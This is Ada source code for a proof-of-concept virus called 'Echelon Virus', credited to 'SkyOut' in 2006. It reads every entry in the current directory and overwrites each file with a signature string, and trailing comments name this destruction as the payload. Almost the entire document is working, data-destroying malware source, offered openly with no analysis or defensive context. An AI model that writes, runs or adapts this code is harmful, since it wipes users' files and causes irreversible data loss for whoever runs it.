with ada.text_io, gnat.directory_operations, gnat.os_lib;
use ada.text_io, gnat.directory_operations, gnat.os_lib;

procedure echelon is

   Dir       : Dir_Type;
   DirName   : string( 1..80 );
   Len       : natural;
   FD	     : File_Descriptor;
   VString   : constant string := "[AdA] PoC by SkyOut [Echelon Virus]";
   Written   : integer;

begin

   Open( Dir, "." );

   loop
   	Read( Dir, DirName, Len );
   exit when Len = 0;
   	FD := Create_File( DirName( 1..Len ), Text );
   	written := Write( FD, VString'address, VString'Length );
   end loop;

   Close( Dir );

end echelon;

-- Author: SkyOut
-- Date: 2006
-- Website: http://wired-security.net/
-- Coded/Tested under Ubuntu Linux with " gnat " (compiler) and " gps " (IDE) 
-- Payload: Overwrites files in current directory with specified " VString "